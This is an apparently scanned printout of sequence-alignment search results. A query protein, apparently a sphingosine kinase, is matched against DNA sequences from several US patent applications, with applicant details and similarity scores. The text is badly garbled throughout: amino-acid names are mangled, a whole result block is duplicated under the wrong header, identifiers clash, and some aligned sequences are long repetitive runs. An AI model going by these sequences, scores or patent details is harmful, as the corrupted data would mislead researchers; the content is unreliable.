Db      718 CTGAGAGAGGAGGAGGCTTCTCATTTGAGCTGTGCTGACAGAGAGGACTTGTCTGCTG 777
Qy      261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaIleAlaProMetGlyArgCys 280
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      778 CTGCTGCTGCTACACACCCCACTGAGCTCGAGCTGTTTGCAGCACCACCATGGCCGCTG 837
Qy      281 AlaAlaGlyValMetHisLeuPheArgValValArgAlaGlyValSerArgAlaMetLeuLeu 300
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      838 GAGCTGTGTTATGATCATCTGTTACAGTACGAGGAGGAGGAGGAGGAGGAGGAGGAGG 897
Qy      301 ArgLeuPheLeuAlaMetGluGlyGlyArgHisMetGluIleGlyCysProTyrLeuVal 320
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      898 GCGCTCTCTGCGCATGCAAGAGGCAAGCATGAGACTGACCTGCTCCCTTCTGCTG 957
Qy      321 TyrValProValValAlaPheArgLeuGluProLysAspGlyGlyValPheAlaVal 340
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      958 CATGTGCCCGTGTGCTTCCGCTGAGGCCAGAGCCAGAGGAGGAGGAGGAGGAGGAGG 1017
Qy      341 AspGlyLeuLeuMetValSerGluAlaValGlnGlyGlnValHisProAsnTyrPheTyr 360
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      1018 GATGAGGAGGCTGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 1077
Qy      361 MetValSerGlyCysValGluProProSerTyrLysProGlnMetProProPro 380
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      1078 ATGCTGTGCGCAGCAGAGATGCCCCATCGCGGAGCTCCGCGGAGGAGGAGGAGG 1137
Qy      381 GluGluPro 383
      |||||:|||||
Db      1138 GAAGAACA 1146

```

```

RESULT 6
US-09-817-676A-11
; Sequence 11, Application US/09817676A
; Patent No. US20020042101A1
; GENERAL INFORMATION:
; APPLICANT: Spiegell, Sarah
; APPLICANT: Kohama, Takafumi
; TITLE OF INVENTION: Mammalian Sphingosine Kinase Type 2 Isoforms, Cloning,
; TITLE OF INVENTION: Expression and Methods of Use Thereof
; FILE REFERENCE: 00170/HG
; CURRENT APPLICATION NUMBER: US/09/817, 676A
; PRIOR FILING DATE: 2001-03-26
; PRIOR APPLICATION NUMBER: US 60/194, 318
; NUMBER OF SEQ ID NOS: 15
; SOFTWARE: Patentin Ver. 2.0
; SEQ ID NO 11
; LENGTH: 2698
; TYPE: DNA
; ORGANISM: Mus musculus
; FEATURE:
; NAME/KEY: CDS
; LOCATION: (387)..(2237)

```

```

; PUBLICATION INFORMATION:
; TITLE: Molecular cloning and functional characterization of a
; TITLE: novel mammalian sphingosine kinase type 2 isoform
; JOURNAL: J. Biol. Chem.
; VOLUME: 275
; ISSUE: 26
; PAGES: 19513-19520
; DATE: 2000-06-30
; DATABASE ACCESSION NUMBER: AF245448
; DATABASE ENTRY DATE: 2000-06-27
; US-09-817-676A-11

Alignment Scores:
Pred. No.: 8,18e-101 Length: 2698
Score: 875.00 Matches: 187
Percent Similarity: 51.98% Conservative: 63
Best Local Similarity: 38.88% Mismatches: 111
Query Match: 43.42% Indels: 120
Gaps: 4

US-09-784-810A-2 (1-384) x US-09-817-676A-11 (1-2698)
Qy      10 ValLeuProAlaArgProCysArgValLeuValLeuLeuAsnProArgGlyGlyLysGlyLys 29
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      807 TTGCTGCCCCGGAACCCAGAGGCTGCTCATTTGCTCATTCCTTTGGGGGGCGGGGCTG 866
Qy      30 AlaGluGlnLeuPheArgSerHisValGlnProLeuLeuAlaGluAlaGluIleSerPhe 49
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      867 GCGTGGCAGCGCTGATGACCGACCGTGTGCCATGATCTCTGAAGCTGGGCTGCTTC 926
Qy      50 ThrLeuMetLeuThrGluArgGlnHisAlaArgGluLeuValArgSerGluGluLeu 69
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      927 AACCTCATACAGACAGACAGACAGACAGACAGACAGACAGACAGACAGACAGACAGACAG 986
Qy      70 GlyArgTyrAspAlaLeuValValMetSerGlyAspGlyLeuMetHisGluValValAsn 89
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      987 AGTGAATGGGAAGGAGCATGTCTACTGTGCTGAGAGAGGAGGAGGAGGAGGAGGAGG 1046
Qy      90 GlyLeuMetGluArgProAspTyrProIleAlaIleGlnLysProLeuCysSerLeuPro 109
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      1047 GGGCTCTTGTATGCGGACAGCTGGAGAGTGGCGAGGAGGAGGAGGAGGAGGAGGAGGAG 1106
Qy      110 AlaGlySerGlyAsnAlaLeuAlaAlaSerLeuAsnHisTyrAlaGlyTyrGluGlnVal 129
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      1107 TGTGATCGGGCAATGCGCTAGCTGGGCGGAGAGCATCAAGCGGTTTGAGCAGGTT 1166
Qy      130 ThrAsnGluAspLeuLeuThrAsnGlyThrLeuLeuLeuCysArgProValLeuSerPro 149
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      1167 GTCGCTGTGACCTGTGCTCAACTGCTGCTTCTGCTGCTGCTGCTGCTGCTGCTGCT 1226
Qy      150 MetAsnLeuSerLeuHisThrAlaSerGlyLeuArgSerPheSerValLeuSerLeu 169
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      1227 CTGAGCTTGTCTCTGTGAGCGTAAGCTGGGAGTCCCGCTGTTTCTCTCTGCTGCTG 1286
Qy      170 AlaTyrGlyPheIleAlaAspValAspLeuGluSerAspLysTyrArgArgLeuGlu 189
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      1287 GCGTGGGAGATCTTGTGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 1346
Qy      190 MetArgPheThrLeuGlyThrPheLeuArgLeuAlaAlaLeuArgThrTyrArgGlyArg 209
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      1347 GCTGATTCACACTGGGTGAGAGTCTAGGCTGGCGCTGCTGATACCTAGCTGAGCAGC 1406
Qy      210 LeuAlaThrLeuProVal----- 215
      |||||:|||||
Db      1407 CTGCTCATACCTCCCGCTACACAGACAGAGCTTGCCATCCAGGCGCACAGTGTGCT 1466
Qy      215 ----- 215
      |||||:|||||
Db      1467 CGAGCAGATGAGACTAGTCTTGCTTCAGAGCCAGCCCGCGGAGCAGCCAGTGGCT 1526
Qy      215 ----- 215
      |||||:|||||
Db      1527 CTACATCATCTGTCTGACCTGCGCCCTTCCAGAGCTGAGCTTGTCTCCCT 1586

```

```

Oy 215 ----- 215
Db 1587 GGCCTCCCTGAGCCCTGACCTGCTCCTCAATGTTGTTGCCAGAGCTACATGGA 1646
Oy 215 ----- 215
Db 1647 GACTGGGAGAGAGCTGGGAGATGACACTCTGTCCAGACCCACTGTGCTTCATCCCCC 1706
Oy 216 ----- Gly 216
Db 1707 AACGCTCTCAAAACAGCTCAGCTTTCACCCATGCTGAGGGCCCCAGAAATGCCAGCA 1766
Oy 217 ArgValGlyPheLysThrPro-----AlaSerProValValGlnGlnGlyProVal 234
Db 1767 TCTTCGGGGTTCCTCCCTCCACCCACAGTCCCAAGAGCTTACTCGGGGCCCATG 1826
Oy 235 AspaIaHisLeuValProLeuGlnGlnValProSerHisTrpGlnValValProAsp 254
Db 1827 GACCACCTCTCCCTCCCTGGGCTTCACCTGCCCAAGACTGGGTGACAAATAGAGGG 1886
Oy 255 GlnAspPheValLeuValLeuAlaLeuHisSerHisLeuAlaSerGlnMetPheAla 274
Db 1887 GAG--TTGTACTCATGTTGGGCGATCTTGACGAGCCACTGCGCAGACCTGATGGCA 1943
Oy 275 AlaProMetGlyArgCysAlaAlaGlyValMetHisLeuPheTrpValArgAlaGlyVal 294
Db 1944 GCCCAGCATGACAGCTTTGATGATGAGCGCTTGTGCACCTGTGTGGTGGAGCGGCATC 2003
Oy 295 SerArgAlaMetLeuLeuValGlnPheLeuValMetGlnLysGlyArgHisMetClnTrp 314
Db 2004 TCAGCGGCTGCATCTTCAACGATTTTCTGGCCATGAGCAGATGGAACCACTTACAGCTG 2063
Oy 315 GlnCysProTrpLeuValTrpValProValValAlaPheArgLeuGlnProLysAspGly 334
Db 2064 GCGTGGCCCAATCGTGGGCTAGTGTGACAGACGTCGCTTCCGCTTGAACCACTACAGCT 2123
Oy 335 LysGlnValPheAlaValAspGlyGlnMetValSerGlnAlaValGlnGlyGlnVal 354
Db 2124 CGTGCGCTGCTCAGTATGATGAGGAGTATGAGGATGAGGCAATACAGCGCAGGTG 2183
Oy 355 HisProAsnTrpPheTrpMetValSerGlyCysValGlnProProSerTrpLysPro 374
Db 2184 CACCCAGGTCTGCGCAGCGTGTCTCAGTGGG-----CCTGAGGTCAAAAGCCA 2231
Oy 375 Gln 375
Db 2232 CAA 2234

```

RESULT 7

US-09-970-516-3

Sequence 3, Application US/09970516

Patent No. US20020099029A1

GENERAL INFORMATION:

APPLICANT: NO. US20020099029A1artis AG

TITLE OF INVENTION: Induction of blood vessel formation through administration of

FILE REFERENCE: 4-31617

CURRENT APPLICATION NUMBER: US/09/970, 516

NUMBER OF SEQ ID NOS: 6

SOFTWARE: PatentIn version 3.1

SEQ ID NO 3

LENGTH: 1857

TYPE: DNA

ORGANISM: Homo sapiens

FEATURE:

NAME/KEY: CDS

LOCATION: (1) (1857)

OTHER INFORMATION:

US-09-970-516-3

Alignment Scores:

Pred. No.:	Score:	Percent Similarity:	Best Local Similarity:	Query Match:	DB:	Length:	Matches:	Conservative:	Mismatches:	Indels:	Gaps:
1,06e-98	856.50	51.43%	38.57%	42.51%	10	1857	189	63	111	127	6

US-09-784-810a-2 (1-384) x US-09-970-516-3 (1-1857)

```

Oy 10 ValLeuProArgProCysArgValLeuValLeuAsnProArgGlyLysGlyLys 29
Db 418 CTGCTACCTCGCGCCGCCGCTTCTTATGTGTAATCCCTTGGGGGCGGCGCTG 477
Oy 30 AlaLeuGlnLeuPheArgSerHisValGlnProLeuValGlnAlaGlnLeuSerPhe 49
Db 478 GCGTCGACAGTGTATAGAACCACTGCTTCCATGATCTGTGAAGCTGGCTCTCC 537
Oy 50 ThrLeuMetLeuTrpGlnArgArgAsnHisAlaArgLeuValArgSerGlnGlnLeu 69
Db 538 AACCTCATCCAGACAGAAAGACAGACACAGCCGCGGAGTGTCCAGAGGGCTGAGCCTG 597
Oy 70 GlyArgTrpAspAlaLeuValAlaMetSerGlyLysGlyLeuMetHisGlnValAlaAsn 89
Db 598 AGTAGAGGAGATGACATCTCACGCTCGGAGACGCGCTGTCAATGAGCTGCTGAC 657
Oy 90 GlnLeuMetGlnArgProAspTrpGlnThrAlaIleGlnLysProLeuCysSerLeuPro 109
Db 658 GGGCTCTCAATGCCCTCTGACTGAGGAGAACCTGTGAAGATGCTGTGGGCTCTCC 717
Oy 110 AlaGlySerGlyAsnAlaLeuAlaSerLeuAsnHisTrpAlaGlyTrpGlnGlnVal 129
Db 718 TGCGGCTCGGCGCAACGCGCTGGCGGACAGTGAACCAAGCGGGGATTTGAGCCAGCC 777
Oy 130 ThrAsnGlnAspLeuLeuTrpAsnCysThrLeuLeuLeuCysArgProValLeuSerPro 149
Db 778 CTGGGCTCGACCTGTGCTCACTGCTCACTGTGCTGTGCTGGGGGTGGGCCACCA 837
Oy 150 MetAsnLeuLeuSerLeuHisThrAlaSerGlyLeuArgSerPheSerValLeuSerLeu 169
Db 838 CTGACACGCTCTCCGTAAGCCTGAGCGCTGGGCTCCCGCTTCTTCTCTCTCTCTCT 897
Oy 170 AlaTrpGlyPheIleAlaAspValAspLeuGlnSerAspLysTrpArgArgLeuGlyLys 189
Db 898 GCGTGGGCTGTGCTGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 957
Oy 190 MetArgPheTrpLeuGlyTrpPheLeuArgLeuAlaLeuArgTrpTrpArgGlyArg 209
Db 958 GCCGCTTCACACTGGGACGCTGTGGCTGTGGCTGTGGCTGTGGCTGTGGCTGTGGCTGT 1017
Oy 210 LeuAlaThrLeuProVal----- 215
Db 1018 CTCCTCACTCCCGCCGCTGTGGAACCTGCTGCCACCTGCGCCATAGCTGTGCT 1077
Oy 215 ----- 215
Db 1078 CGTGCAAGTGGAGCTGACCTTAACCCAGACAGCCGCGCCATGAGCCCACTACACC 1137
Oy 215 ----- 215
Db 1138 CTGCATGTTCTGTGTGACCTGCTTCCCTGCGCCAGCTGTGGCTGTGCTTCT 1197
Oy 215 ----- 215
Db 1198 GCGTCGCGACAGAACCCCTGCGCATCTGTCTCAACAGTGGGGGCCAGAGCTGGCTGGG 1257
Oy 215 ----- 215
Db 1258 GACTGGGGTGGGGGATGATCCGCTGTCCCGGACCACTGTGTCTTACATCTCT 1317
Oy 216 -----GlyArgValGlyPheLysThrProAlaSer-----ProValValValGln 230
Db 1318 GCGTCTCCCAAGGAGAGCTTCACTCAACCCGCTCTCGAAGAGGGGCCCGTAAATTCGCCCA 1377

```


DB 1384 TCCTCTGGGCTCCACCTTCCACCCCTGATGCGCGGTAGGAGGCTCCACCTGGGCGCG 1443
OY 234 ValAspAlaHisLeuValProLeuGluGluInValProSerHisTrpGluValPro 253
DB 1444 CCCGACCCCTGCGCTCCCTGCGCACCCCGCTGCGCCACAGACTGG---GTGACGCTG 1500
OY 254 AspGluAspPheValLeuValLeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPhe 273
DB 1501 GAGGGGACCTTGTGCTGTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1560
OY 274 AlaAlaProMetGlyArgCysAlaAlaGlyValMetHisLeuPheTyrValArgAlaGly 293
DB 1561 GCAGCTCCGATGGCGCGCTGCGACGAGCGCTGCGACGCTGCTGCTGCTGCTGCTG 1620
OY 294 ValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGluGlyArgHisMetGlu 313
DB 1621 ATCTCGGGGCTGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1680
OY 314 TyrGluCysProTyrLeuValTyrValProValAlaPheArgLeuGluProLysAsp 333
DB 1681 CTGGGCTGTCCGACGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1740
OY 334 GlyPysGlyValPheAlaValAspGlyLeuLeuMetValSerGluAlaValGlnGlyGln 353
DB 1741 CCAGCGGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1800
OY 354 ValHisProAsnTyrPheTrpMetValSerGlyValGluProProSerTrpLys 373
DB 1801 ATGCACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1845
OY 374 ProGlnGlnMetProProProGluGluPro 383
DB 1846 -----CCGCGCGCGGAGGCC 1860

RESULT 9
US-09-783-590-9248
Sequence 9248, Application US/09783590
Patent No. US20020110850A1
GENERAL INFORMATION:
APPLICANT: Dillion, Patrick J.
APPLICANT: Haseltine, William A.
APPLICANT: Li, Haodong
APPLICANT: Rosen, Craig A.
APPLICANT: Ruben, Steven M.
TITLE OF INVENTION: Human Genes, Sequences, and Expression Products 16.2
FILE REFERENCE: PO-16,2C1
CURRENT APPLICATION NUMBER: US/09/783,590
PRIOR FILING DATE: 2000-02-15
PRIOR APPLICATION NUMBER: 08/420,856
PRIOR FILING DATE: 1995-04-12
PRIOR APPLICATION NUMBER: 08/346,731
PRIOR FILING DATE: 1994-11-21
NUMBER OF SEQ ID NOS: 12485
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 9248
LENGTH: 480
TYPE: DNA
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: misc feature
LOCATION: (68)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (193)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (220)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (221)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature

LOCATION: (236)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (289)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (297)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (302)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (322)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (337)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (350)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (356)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (367)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (382)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (384)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (386)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (391)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (400)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (412)
OTHER INFORMATION: n equals a,t,g, or c
NAME/KEY: misc feature
LOCATION: (451)
OTHER INFORMATION: n equals a,t,g, or c
US-09-783-590-9248

Alignment Scores:
Pred. No.: 9,6e-52 Length: 480
Score: 481.00 Matches: 115
Percent Similarity: 74.21% Conservative: 33
Best Local Similarity: 72.33% Mismatches: 33
Query Match: 23.87% Indels: 8
DB: 10 Gaps: 0

US-09-784-810a-2 (1-384) x US-09-783-590-9248 (1-480)
OY 47 IleserPheThrLeuMetLeuThrGluArgAsnHisAlaArgGluLeuValArgSer 66
DB 12 ATCTCTTCCACGCTGATCTCTACGTAGCGCGGAGAACACCGCGGAACTGTGCGTGC 71
OY 67 GluGluLeuGlyArgTyrAspAlaLeuValMetSerGlyAspGlyLeuMetHisGlu 86
DB 72 GAGGAGCTGGGCGCGCTGGAACGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 131
OY 87 ValValAsnGlyLeu-MetGluArgProAspTrpGlu-ThrAlaIleGlnGlyProLeu 105
DB 132 AGTGAGACGCGCTTCAATGAGCGCGCTGAGAGCCGCGCATCCAGAACCCCTG 191
OY 106 CysSerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeuAsnHisTyrAlaGly 125


```
Db 192 TATAGCTCCACAGAGCTCTGCGAACGNNCTGGCAGTTCTTNAACCATTAATGCTGT 251
Oy 126 TTTGlu-GlnVal, ThrAsnGlu-AspLeuLeuThrAsnGlySerPheLeuLeuLeuCyAsp 145
Db 252 TATGAGCAGAGTACCAATGATAAGACCTCTGACCAANTGACAGTAAATGATGCGCCG 311
Oy 145 roValleu--SerProMetAsnLeuLeuSerLeuHisThrAlaSerGlyLeuArgSerPh 164
Db 312 CGGTGTGTGTTNAACCATGGAACCTGTTGTTGCAAAANGTTTNGGGTGGCGCTTCT 371
Oy 164 eSerValleu-SerLeuAlaTyrGlyPheLeuAlaAspValaAspLeuGluSerAspLys 184
Db 372 CTTTGTGTGTNANCNTGCGTGGGTTTNAATGTTGATTNGGACCGGAGAGTTAGAA 431
Oy 184 YTAAGArgLeuGlyGluMetArgPheThrLeuGlyThrPhe 197
Db 432 ATCGGGGTTTGGGGAATATGTTTAATTTGGGAATTTTC 472

RESULT 10
US-10-015-219-658
; Sequence 658, Application US/10015219
; Publication No. US2003008299A1
; GENERAL INFORMATION:
; APPLICANT: Algate, Paul A.
; TITLE OF INVENTION: COMPOSITIONS AND METHODS FOR THE THERAPY
; FILE REFERENCE: 210121.493C1
; CURRENT APPLICATION NUMBER: US/10/015, 219
; CURRENT FILING DATE: 2002-03-02
; NUMBER OF SEQ ID NOS: 1739
; SOFTWARE: PastSeq for Windows Version 4.0
; SEQ ID NO: 658
; LENGTH: 296
; TYPE: DNA
; ORGANISM: Homo sapiens
; FEATURE:
; NAME/KEY: misc.feature
; LOCATION: 218..229, 235, 263, 265, 271, 286, 289
; OTHER INFORMATION: n = A,T,C or G
US-10-015-219-658

Alignment Scores:
Pred. No.: 2,79e-37 Length: 296
Score: 365.00 Matches: 68
Percent Similarity: 89.74% Conservative: 2
Best Local Similarity: 87.18% Mismatches: 4
Query Match: 18.11% Indels: 4
DB: 9 Gaps: 1

US-09-784-810A-2 (1-384) x US-10-015-219-658 (1-296)
Oy 307 GltuysGlyArgHisMetGltuysGluCysProTyrLeuValTyrValProValAla 326
Db 7 AAGAGGCGAGCATATGAGATGATGATGCCCTGCTGATGATGCGCGCGTGC 66
Oy 327 PheArgLeuGluProLysAspGlyLysGlyValPheAlaValaAspGlyGluLeuMetAl 346
Db 67 TTCGCTTGAGCCCAAGATGAGGAAAGGTGTGTTCAGTGGATGGGAATGATGTT 126
Oy 347 SerGluAlaValGlnGlyGlnValHisProAsnTyrPheTrpMetValSerGlyCysVal 366
Db 127 AGCGAGGCGGTGAGGCGCAGGTGCGACCCAAACTACTTGTGATGTGTCAGCGGTGCGTG 186
Oy 367 GltProProSerTrpLysProGln-----GlnMetProProPro 380
Db 187 GAGCCCCCGCCAAACCTGCGCGCAACCAACNCTAAGGCAANTTCACACACC 240

RESULT 11
US-09-777-564-658
; Sequence 658, Application US/09777564
; Patient No. US20020022591A1
; GENERAL INFORMATION:
; APPLICANT: Algate, Paul A.

Db 192 TATAGCTCCACAGAGCTCTGCGAACGNNCTGGCAGTTCTTNAACCATTAATGCTGT 251
Oy 126 TTTGlu-GlnVal, ThrAsnGlu-AspLeuLeuThrAsnGlySerPheLeuLeuLeuCyAsp 145
Db 252 TATGAGCAGAGTACCAATGATAAGACCTCTGACCAANTGACAGTAAATGATGCGCCG 311
Oy 145 roValleu--SerProMetAsnLeuLeuSerLeuHisThrAlaSerGlyLeuArgSerPh 164
Db 312 CGGTGTGTGTTNAACCATGGAACCTGTTGTTGCAAAANGTTTNGGGTGGCGCTTCT 371
Oy 164 eSerValleu-SerLeuAlaTyrGlyPheLeuAlaAspValaAspLeuGluSerAspLys 184
Db 372 CTTTGTGTGTNANCNTGCGTGGGTTTNAATGTTGATTNGGACCGGAGAGTTAGAA 431
Oy 184 YTAAGArgLeuGlyGluMetArgPheThrLeuGlyThrPhe 197
Db 432 ATCGGGGTTTGGGGAATATGTTTAATTTGGGAATTTTC 472

RESULT 10
US-10-015-219-658
; Sequence 658, Application US/10015219
; Publication No. US2003008299A1
; GENERAL INFORMATION:
; APPLICANT: Algate, Paul A.
; TITLE OF INVENTION: COMPOSITIONS AND METHODS FOR THE THERAPY
; FILE REFERENCE: 210121.493C1
; CURRENT APPLICATION NUMBER: US/10/015, 219
; CURRENT FILING DATE: 2002-03-02
; NUMBER OF SEQ ID NOS: 1739
; SOFTWARE: PastSeq for Windows Version 4.0
; SEQ ID NO: 658
; LENGTH: 296
; TYPE: DNA
; ORGANISM: Homo sapiens
; FEATURE:
; NAME/KEY: misc.feature
; LOCATION: (1)-(296)
; OTHER INFORMATION: n = A,T,C or G
US-10-015-219-658

Alignment Scores:
Pred. No.: 2,79e-37 Length: 296
Score: 365.00 Matches: 68
Percent Similarity: 89.74% Conservative: 2
Best Local Similarity: 87.18% Mismatches: 4
Query Match: 18.11% Indels: 4
DB: 9 Gaps: 1

US-09-784-810A-2 (1-384) x US-09-777-564-658 (1-296)
Oy 307 GltuysGlyArgHisMetGltuysGluCysProTyrLeuValTyrValProValAla 326
Db 7 AAGAGGCGAGCATATGAGATGATGATGCCCTGCTGATGATGCGCGCGTGC 66
Oy 327 PheArgLeuGluProLysAspGlyLysGlyValPheAlaValaAspGlyGluLeuMetAl 346
Db 67 TTCGCTTGAGCCCAAGATGAGGAAAGGTGTGTTCAGTGGATGGGAATGATGTT 126
Oy 347 SerGluAlaValGlnGlyGlnValHisProAsnTyrPheTrpMetValSerGlyCysVal 366
Db 127 AGCGAGGCGGTGAGGCGCAGGTGCGACCCAAACTACTTGTGATGTGTCAGCGGTGCGTG 186
Oy 367 GltProProSerTrpLysProGln-----GlnMetProProPro 380
Db 187 GAGCCCCCGCCAAACCTGCGCGCAACCAACNCTAAGGCAANTTCACACACC 240

RESULT 12
US-09-796-692-2905
; Sequence 2905, Application US/09796692
; Publication No. US20020198362A1
; GENERAL INFORMATION:
; APPLICANT: Gaiger, Alexander
; APPLICANT: Mannion, Jane
; TITLE OF INVENTION: COMPOSITIONS AND METHODS FOR THE DETECTION, DIAGNOSIS AND THER
; FILE REFERENCE: 2077.001200
; CURRENT APPLICATION NUMBER: US/09/796,692
; CURRENT FILING DATE: 2001-03-01
; PRIOR APPLICATION NUMBER: 60/186,126
; PRIOR FILING DATE: 2000-03-01
; PRIOR APPLICATION NUMBER: 60/190,479
; PRIOR FILING DATE: 2000-03-17
; PRIOR APPLICATION NUMBER: 60/200,545
; PRIOR FILING DATE: 2000-04-27
; PRIOR APPLICATION NUMBER: 60/200,303
; PRIOR FILING DATE: 2000-04-28
; PRIOR APPLICATION NUMBER: 60/200,779
; PRIOR FILING DATE: 2000-04-28
; PRIOR APPLICATION NUMBER: 60/200,999
; PRIOR FILING DATE: 2000-05-01
; PRIOR APPLICATION NUMBER: 60/202,084
; PRIOR FILING DATE: 2000-05-04
; PRIOR APPLICATION NUMBER: 60/206,201
; PRIOR FILING DATE: 2000-05-22
```



```

PRIOR APPLICATION NUMBER: US 60/218,950
PRIOR FILING DATE: 2000-07-14
PRIOR APPLICATION NUMBER: US 60/222,903
PRIOR FILING DATE: 2000-08-03
PRIOR APPLICATION NUMBER: US 60/223,416
PRIOR FILING DATE: 2000-08-04
PRIOR APPLICATION NUMBER: US 60/223,378
PRIOR FILING DATE: 2000-08-07
PRIOR APPLICATION NUMBER: US 09/796,692
PRIOR FILING DATE: 2001-03-01
NUMBER OF SEQ ID NOS: 10467
SOFTWARE: FastSeq for Windows Version 3.0
SEQ ID NO 2905
LENGTH: 199
TYPE: DNA
ORGANISM: Homo sapiens
US-10-040-862-2905

Alignment Scores:
Pred. No.: 6.63e-37 Length: 199
Score: 360.00 Matches: 65
Percent Similarity: 100.00% Conservative: 0
Best Local Similarity: 100.00% Mismatches: 0
Query Match: 17.87% Indels: 0
DB: Gaps: 0

US-09-784-810A-2 (1-384) x US-10-040-862-2905 (1-199)
QY 306 MetGluIyGlyArgHisMetLunryrGlucysProfyrlLeuValTyrrAlProvalVal 325
|||||
Db 3 ATGGAACAAGGGCAGCATATGAGTAAATGCCCTCACTTGTAATGTGCCCGTC 62
QY 326 AlAPheArIeuGIuPrOlyAspSIlySGlyValPheaIaValJaSpGIyGLueMet 345
63 GCCTCCGCTTGAGACCCCAAGATGGAAGGTGTGTTCAGTGCATGGGAATTGATG 122
QY 346 ValSerGIuaIaValInGIyInValHISProAsnTrYPHeTTpmetValSerGIyCs 365
123 GTTAGGAGAGCGCGTGCAGGCGCACGGTGCACCMAACTCTTGATGATGTCAGTGTTC 182
QY 366 ValGIuProProPro 370
|||
Db 183 GTTGAGCCCCCGCCC 197

RESULT 14
US-09-969-896-9
: Sequence 9, Application US/09969896
: Publication No. US2003012553A1
: GENERAL INFORMATION:
: APPLICANT: Kossida, Sophia
: TITLE OF INVENTION: Regulation of human SpHingosine
: TITLE OF INVENTION: Kinase-Like Protein
: FILE REFERENCE: 004974.00594
: CURRENT APPLICATION NUMBER: US/09/969,896
: CURRENT FILING DATE: 2001-10-04
: PRIOR APPLICATION NUMBER: US 60/238,005
: PRIOR FILING DATE: 2000-10-06
: PRIOR APPLICATION NUMBER: US 60/214,113
: PRIOR FILING DATE: 2001-08-23
: NUMBER OF SEQ ID NOS: 16
: SOFTWARE: FastSeq for Windows Version 4.0
: SEQ ID NO 9
: LENGTH: 1614
: TYPE: DNA
: ORGANISM: Homo sapIens
US-09-969-896-9

Alignment Scores:
Pred. No.: 7.17e-24 Length: 1614
Score: 268.50 Matches: 109
Percent Similarity: 41.23% Conservative: 72
Best Local Similarity: 24.83% Mismatches: 170
Query Match: 13.33% Indels: 88
```

DB: 9 Gaps: 15

US-09-784-810a-2 (1-384) x US-09-969-896-9 (1-1614)

OY 2 ASPROAAGLYGlyPro-ArgGlyValLeuProArgProCysArgValLeuValLeu 21
 |||||
 DB 351 GACCTGCGGAGATGCTGAGAGAGCTGACGTCCAGACCAACATTTACTGTTAT 410
 |||||
 OY 21 uasnProArgGlyGlyValLeuValLeuValLeuValLeuValLeuValLeu 41
 |||||
 DB 411 CAACCCGTTGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 470
 |||||
 OY 41 uLeuAlaGlyValLeuValLeuValLeuValLeuValLeuValLeuValLeu 61
 |||||
 DB 471 GTTACCTGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAGGAG 530
 |||||
 OY 61 gGluLeuValArgSerGlyValLeuValLeuValLeuValLeuValLeuValLeu 81
 |||||
 DB 531 GAGAGCTGCTGTATGAGATTAACATTAACATTAACATTAACATTAACATTAACAT 590
 |||||
 OY 81 pGlyLeuMetHisGlyValLeuValLeuValLeuValLeuValLeuValLeuValLeu 101
 |||||
